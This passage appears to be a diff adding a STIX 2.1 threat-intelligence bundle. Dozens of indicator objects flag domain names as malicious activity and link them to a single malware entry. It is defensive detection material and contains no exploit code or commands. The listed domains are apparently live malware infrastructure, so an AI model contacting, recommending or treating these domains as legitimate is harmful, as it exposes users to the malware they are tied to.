"stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.754872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17764249-f94a-4ff5-af35-f517ee22d35e", + "created": "2023-03-29T12:58:43.755474Z", + "modified": "2023-03-29T12:58:43.755474Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad6d9756-ff75-4e72-afd3-952669d645aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44a7f12b-a89c-4e69-a03e-8e06ae58a301", + "created": "2023-03-29T12:58:43.755646Z", + "modified": "2023-03-29T12:58:43.755646Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quirkstonework.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.755646Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f8748fd-50ba-4951-83fe-7c9ff4b9057f", + "created": "2023-03-29T12:58:43.756247Z", + "modified": "2023-03-29T12:58:43.756247Z", + "relationship_type": "indicates", + "source_ref": "indicator--44a7f12b-a89c-4e69-a03e-8e06ae58a301", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46b88b84-839c-4635-89df-df91c18e5d20", + "created": "2023-03-29T12:58:43.756419Z", + "modified": "2023-03-29T12:58:43.756419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='volleysubdued.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.756419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e47d1a74-6647-4530-9011-4daf1ea379d9", + "created": "2023-03-29T12:58:43.757018Z", + "modified": "2023-03-29T12:58:43.757018Z", + "relationship_type": "indicates", + "source_ref": "indicator--46b88b84-839c-4635-89df-df91c18e5d20", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11ed1a65-5818-4db1-9709-d7a05ca4afaa", + "created": "2023-03-29T12:58:43.757189Z", + "modified": "2023-03-29T12:58:43.757189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='manhandleshininess.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.757189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ff27f846-209f-4a29-96f8-e21987db4b50", + "created": "2023-03-29T12:58:43.75799Z", + "modified": "2023-03-29T12:58:43.75799Z", + "relationship_type": "indicates", + "source_ref": "indicator--11ed1a65-5818-4db1-9709-d7a05ca4afaa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23336203-c212-45e5-8f67-a47f72dba12b", + "created": "2023-03-29T12:58:43.758168Z", + "modified": "2023-03-29T12:58:43.758168Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='petuniaslinging.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.758168Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--96946a63-5d13-4106-8aa4-b501efe663c8", + "created": "2023-03-29T12:58:43.758776Z", + "modified": "2023-03-29T12:58:43.758776Z", + "relationship_type": "indicates", + "source_ref": "indicator--23336203-c212-45e5-8f67-a47f72dba12b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2d6c937-c59a-4bcc-a324-e9c5a2666491", + "created": "2023-03-29T12:58:43.758949Z", + "modified": "2023-03-29T12:58:43.758949Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='colonyaudacious.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.758949Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2edbc2e8-80c3-4379-bfe0-267e189f12cd", + "created": "2023-03-29T12:58:43.759559Z", + "modified": "2023-03-29T12:58:43.759559Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2d6c937-c59a-4bcc-a324-e9c5a2666491", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7bf57f45-5014-451c-8bb4-c3aacbde6b76", + "created": "2023-03-29T12:58:43.759745Z", + "modified": "2023-03-29T12:58:43.759745Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='woozysnugly.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.759745Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd202f74-0bdf-4b48-8fc7-404da8e9ec35", + "created": "2023-03-29T12:58:43.760402Z", + "modified": "2023-03-29T12:58:43.760402Z", + "relationship_type": "indicates", + "source_ref": "indicator--7bf57f45-5014-451c-8bb4-c3aacbde6b76", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--47b220e8-9c23-4fb4-8b0c-dd86f77de6d7", + "created": "2023-03-29T12:58:43.760581Z", + "modified": "2023-03-29T12:58:43.760581Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showbizcontext.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.760581Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0dabd87-e4eb-432b-bfc4-dff881587171", + "created": "2023-03-29T12:58:43.76123Z", + "modified": "2023-03-29T12:58:43.76123Z", + "relationship_type": "indicates", + "source_ref": "indicator--47b220e8-9c23-4fb4-8b0c-dd86f77de6d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dba8e3a4-6ca3-4c00-8899-baa8eb2f6c6d", + "created": "2023-03-29T12:58:43.761413Z", + "modified": "2023-03-29T12:58:43.761413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='subleaseelectable.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.761413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aaa0f3c3-1d00-4972-89db-a97187776d73", + "created": "2023-03-29T12:58:43.762067Z", + "modified": "2023-03-29T12:58:43.762067Z", + "relationship_type": "indicates", + "source_ref": "indicator--dba8e3a4-6ca3-4c00-8899-baa8eb2f6c6d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf1c4073-d460-4bb9-a972-15f3a8998011", + "created": "2023-03-29T12:58:43.762241Z", + "modified": "2023-03-29T12:58:43.762241Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='magnetismokay.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.762241Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93151e8e-8d20-4d03-a8d2-f4d2328b6da6", + "created": "2023-03-29T12:58:43.762865Z", + "modified": "2023-03-29T12:58:43.762865Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf1c4073-d460-4bb9-a972-15f3a8998011", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a578fd5-5f6e-40e2-8fa0-a3b9edee060a", + "created": "2023-03-29T12:58:43.763038Z", + "modified": "2023-03-29T12:58:43.763038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quakejellied.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.763038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c8f6041-29d7-40f4-a9c0-533418c80785", + "created": "2023-03-29T12:58:43.763641Z", + "modified": "2023-03-29T12:58:43.763641Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a578fd5-5f6e-40e2-8fa0-a3b9edee060a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa0cbcbe-6ece-4dd2-be00-4794a140b6ac", + "created": "2023-03-29T12:58:43.763812Z", + "modified": "2023-03-29T12:58:43.763812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unspoiledsaint.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.763812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c60b67df-fd2e-4465-81e5-63bd84a31eef", + "created": "2023-03-29T12:58:43.764415Z", + "modified": "2023-03-29T12:58:43.764415Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa0cbcbe-6ece-4dd2-be00-4794a140b6ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7616d8c-12c1-46b3-ac8f-d18f8beff6a0", + "created": "2023-03-29T12:58:43.764585Z", + "modified": "2023-03-29T12:58:43.764585Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carmakersmirk.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.764585Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fa5db2e-caab-47b0-9803-f707a6aa671e", + "created": "2023-03-29T12:58:43.765308Z", + "modified": "2023-03-29T12:58:43.765308Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7616d8c-12c1-46b3-ac8f-d18f8beff6a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2de0ce6d-6ca4-44d6-8178-3d510dac6deb", + "created": "2023-03-29T12:58:43.765487Z", + "modified": "2023-03-29T12:58:43.765487Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='utterbust.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.765487Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebd2c254-bf03-493b-9ed4-24b4e6705d32", + "created": "2023-03-29T12:58:43.766096Z", + "modified": "2023-03-29T12:58:43.766096Z", + "relationship_type": "indicates", + "source_ref": "indicator--2de0ce6d-6ca4-44d6-8178-3d510dac6deb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d42cbbcd-cd69-4d13-849b-449615988f94", + "created": "2023-03-29T12:58:43.766268Z", + "modified": "2023-03-29T12:58:43.766268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rumorcape.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.766268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c5043d66-3ccf-41c1-884b-33d38bd269e6", + "created": "2023-03-29T12:58:43.766865Z", + "modified": "2023-03-29T12:58:43.766865Z", + "relationship_type": "indicates", + "source_ref": "indicator--d42cbbcd-cd69-4d13-849b-449615988f94", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc4bdfc9-f352-401e-b541-618af4a31306", + "created": "2023-03-29T12:58:43.767035Z", + "modified": "2023-03-29T12:58:43.767035Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='porridgesquad.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.767035Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d09a1bf6-5dd3-4495-9932-0eb356113837", + "created": "2023-03-29T12:58:43.767643Z", + "modified": "2023-03-29T12:58:43.767643Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc4bdfc9-f352-401e-b541-618af4a31306", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0993391f-7ea3-4c51-a85d-05702ec4cb97", + "created": "2023-03-29T12:58:43.767813Z", + "modified": "2023-03-29T12:58:43.767813Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scallionpug.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.767813Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5151460d-c215-4efb-b6c8-d74bb4a6a54c", + "created": "2023-03-29T12:58:43.768419Z", + "modified": "2023-03-29T12:58:43.768419Z", + "relationship_type": "indicates", + "source_ref": "indicator--0993391f-7ea3-4c51-a85d-05702ec4cb97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef58fe1b-ef40-4f5d-8c47-676ceb0313e6", + "created": "2023-03-29T12:58:43.768593Z", + "modified": "2023-03-29T12:58:43.768593Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slyurologist.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.768593Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74652ada-0c12-4e01-a523-14cddc2ba8fa", + "created": "2023-03-29T12:58:43.769209Z", + "modified": "2023-03-29T12:58:43.769209Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef58fe1b-ef40-4f5d-8c47-676ceb0313e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9cda8886-d982-4223-b552-019fcae42bd8", + "created": "2023-03-29T12:58:43.769382Z", + "modified": "2023-03-29T12:58:43.769382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rail2park.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.769382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eae3d9cf-e163-409c-af28-0eeb07a6336b", + "created": "2023-03-29T12:58:43.770086Z", + "modified": "2023-03-29T12:58:43.770086Z", + "relationship_type": "indicates", + "source_ref": "indicator--9cda8886-d982-4223-b552-019fcae42bd8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--278e9825-07dc-426d-acec-9de5dc3d4e0d", + "created": "2023-03-29T12:58:43.77026Z", + "modified": "2023-03-29T12:58:43.77026Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clankingshowplace.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.77026Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5578b7a-9d22-4bc5-af58-1915fcf83ac7", + "created": "2023-03-29T12:58:43.770882Z", + "modified": "2023-03-29T12:58:43.770882Z", + "relationship_type": "indicates", + "source_ref": "indicator--278e9825-07dc-426d-acec-9de5dc3d4e0d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4c8cfc2-8542-4c6f-9316-ce01e2dd0240", + "created": "2023-03-29T12:58:43.771056Z", + "modified": "2023-03-29T12:58:43.771056Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tilinggreeter.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.771056Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ddf6c57-23fb-4010-b61e-bc75384bfe03", + "created": "2023-03-29T12:58:43.771662Z", + "modified": "2023-03-29T12:58:43.771662Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4c8cfc2-8542-4c6f-9316-ce01e2dd0240", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bfc0d743-5005-425e-9736-4b7642bb3518", + "created": "2023-03-29T12:58:43.771831Z", + "modified": "2023-03-29T12:58:43.771831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dwindlescandal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.771831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--530b6d74-4c83-4edc-bfd6-c7ce8391830d", + "created": "2023-03-29T12:58:43.77255Z", + "modified": "2023-03-29T12:58:43.77255Z", + "relationship_type": "indicates", + "source_ref": "indicator--bfc0d743-5005-425e-9736-4b7642bb3518", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60a98d9f-9411-4d73-9dd8-6d23074192c8", + "created": "2023-03-29T12:58:43.772726Z", + "modified": "2023-03-29T12:58:43.772726Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stubblyidiom.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.772726Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eab05a46-46ce-4d70-94ec-d109ada362ff", + "created": "2023-03-29T12:58:43.773328Z", + "modified": "2023-03-29T12:58:43.773328Z", + "relationship_type": "indicates", + "source_ref": "indicator--60a98d9f-9411-4d73-9dd8-6d23074192c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8eb967a-846c-4b52-aa7b-9b68ef06c35e", + "created": "2023-03-29T12:58:43.7735Z", + "modified": "2023-03-29T12:58:43.7735Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smocktwisted.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.7735Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2411720f-f440-432d-bc4e-c1d76f98307f", + "created": "2023-03-29T12:58:43.774113Z", + "modified": "2023-03-29T12:58:43.774113Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8eb967a-846c-4b52-aa7b-9b68ef06c35e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f76b260c-5611-4339-a1d5-62987e737a74", + "created": "2023-03-29T12:58:43.774284Z", + "modified": "2023-03-29T12:58:43.774284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='automakerlasso.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.774284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--becf219f-f73b-4a64-9fc3-a4dadf13f527", + "created": "2023-03-29T12:58:43.77493Z", + "modified": "2023-03-29T12:58:43.77493Z", + "relationship_type": "indicates", + "source_ref": "indicator--f76b260c-5611-4339-a1d5-62987e737a74", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b69c1a8-c02c-47ea-b11d-6542befee400", + "created": "2023-03-29T12:58:43.775104Z", + "modified": "2023-03-29T12:58:43.775104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sprigretention.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.775104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b945213-401e-4bbc-b49e-6f0d55b1c1b1", + "created": "2023-03-29T12:58:43.775712Z", + "modified": "2023-03-29T12:58:43.775712Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b69c1a8-c02c-47ea-b11d-6542befee400", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c4715f8-47c5-4878-af19-42e0951a9d4e", + "created": "2023-03-29T12:58:43.775886Z", + "modified": "2023-03-29T12:58:43.775886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leversoverflow.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.775886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4434a41-bec1-40ca-b28c-a615c4166788", + "created": "2023-03-29T12:58:43.77649Z", + "modified": "2023-03-29T12:58:43.77649Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c4715f8-47c5-4878-af19-42e0951a9d4e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--082c9180-2059-4a1e-8988-71ed3594f4da", + "created": "2023-03-29T12:58:43.7767Z", + "modified": "2023-03-29T12:58:43.7767Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='affairplausibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.7767Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c2b51ab-7cd4-446e-b06d-f00c693882da", + "created": "2023-03-29T12:58:43.777317Z", + "modified": "2023-03-29T12:58:43.777317Z", + "relationship_type": "indicates", + "source_ref": "indicator--082c9180-2059-4a1e-8988-71ed3594f4da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7260f9b-18b8-4e7b-9ce8-f3e4dc7bdd14", + "created": "2023-03-29T12:58:43.777495Z", + "modified": "2023-03-29T12:58:43.777495Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imprisoncoping.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.777495Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbad6cfb-4f96-46b1-b195-d1955212edbb", + "created": "2023-03-29T12:58:43.778107Z", + "modified": "2023-03-29T12:58:43.778107Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7260f9b-18b8-4e7b-9ce8-f3e4dc7bdd14", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--64706f0f-4dd2-4395-8a0b-d924b8fe8d63", + "created": "2023-03-29T12:58:43.778294Z", + "modified": "2023-03-29T12:58:43.778294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nuggetmaybe.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.778294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--867f1b43-0f10-4b61-9b41-a0e2a02d0444", + "created": "2023-03-29T12:58:43.778897Z", + "modified": "2023-03-29T12:58:43.778897Z", + "relationship_type": "indicates", + "source_ref": "indicator--64706f0f-4dd2-4395-8a0b-d924b8fe8d63", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a76131fe-bdef-4146-9ebe-8bdca31b217b", + "created": "2023-03-29T12:58:43.779084Z", + "modified": "2023-03-29T12:58:43.779084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='relearnsacred.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.779084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c0871047-c5fc-405c-ace6-30a093718e58", + "created": "2023-03-29T12:58:43.779798Z", + "modified": "2023-03-29T12:58:43.779798Z", + "relationship_type": "indicates", + "source_ref": "indicator--a76131fe-bdef-4146-9ebe-8bdca31b217b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--562093c2-6782-4b8a-bf20-fc540582c196", + "created": "2023-03-29T12:58:43.779974Z", + "modified": "2023-03-29T12:58:43.779974Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chokingdastardly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.779974Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16de81c4-495c-4296-b18a-caf9e8563236", + "created": "2023-03-29T12:58:43.78058Z", + "modified": "2023-03-29T12:58:43.78058Z", + "relationship_type": "indicates", + "source_ref": "indicator--562093c2-6782-4b8a-bf20-fc540582c196", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8df2efe-1455-4fff-b251-724f76e15994", + "created": "2023-03-29T12:58:43.780752Z", + "modified": "2023-03-29T12:58:43.780752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='molecularcrewmate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.780752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c38f0bba-0e7a-4a5f-a2e1-42e9473ff77d", + "created": "2023-03-29T12:58:43.781378Z", + "modified": "2023-03-29T12:58:43.781378Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8df2efe-1455-4fff-b251-724f76e15994", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a613b0e-2e87-4c82-bfa2-e019bb873aea", + "created": "2023-03-29T12:58:43.781555Z", + "modified": "2023-03-29T12:58:43.781555Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rollingslot.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.781555Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fa5aa1e-f8cc-43ae-b1d2-a5f2537c8bf6", + "created": "2023-03-29T12:58:43.782154Z", + "modified": "2023-03-29T12:58:43.782154Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a613b0e-2e87-4c82-bfa2-e019bb873aea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cde4a79a-488f-421a-aa5f-3d1f18d87d97", + "created": "2023-03-29T12:58:43.782326Z", + "modified": "2023-03-29T12:58:43.782326Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skimpilytrustable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.782326Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5209b5d6-e857-4d1a-b572-fb2748f4866f", + "created": "2023-03-29T12:58:43.782934Z", + "modified": "2023-03-29T12:58:43.782934Z", + "relationship_type": "indicates", + "source_ref": "indicator--cde4a79a-488f-421a-aa5f-3d1f18d87d97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e5bc161f-a3cd-4543-91b9-6094fa813e37", + "created": "2023-03-29T12:58:43.783104Z", + "modified": "2023-03-29T12:58:43.783104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liningbless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.783104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5b26d63-db44-4845-8aef-bfa6aeff3a2e", + "created": "2023-03-29T12:58:43.7837Z", + "modified": "2023-03-29T12:58:43.7837Z", + "relationship_type": "indicates", + "source_ref": "indicator--e5bc161f-a3cd-4543-91b9-6094fa813e37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ad0ab20-e3a2-4563-8ad1-7cedf42d8a78", + "created": "2023-03-29T12:58:43.783872Z", + "modified": "2023-03-29T12:58:43.783872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whydistort.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.783872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e983a5a-ce3d-4d9f-b8b6-04ce592a2e4f", + "created": "2023-03-29T12:58:43.784471Z", + "modified": "2023-03-29T12:58:43.784471Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ad0ab20-e3a2-4563-8ad1-7cedf42d8a78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa415475-7fff-4f16-888d-40bd0610715a", + "created": "2023-03-29T12:58:43.784642Z", + "modified": 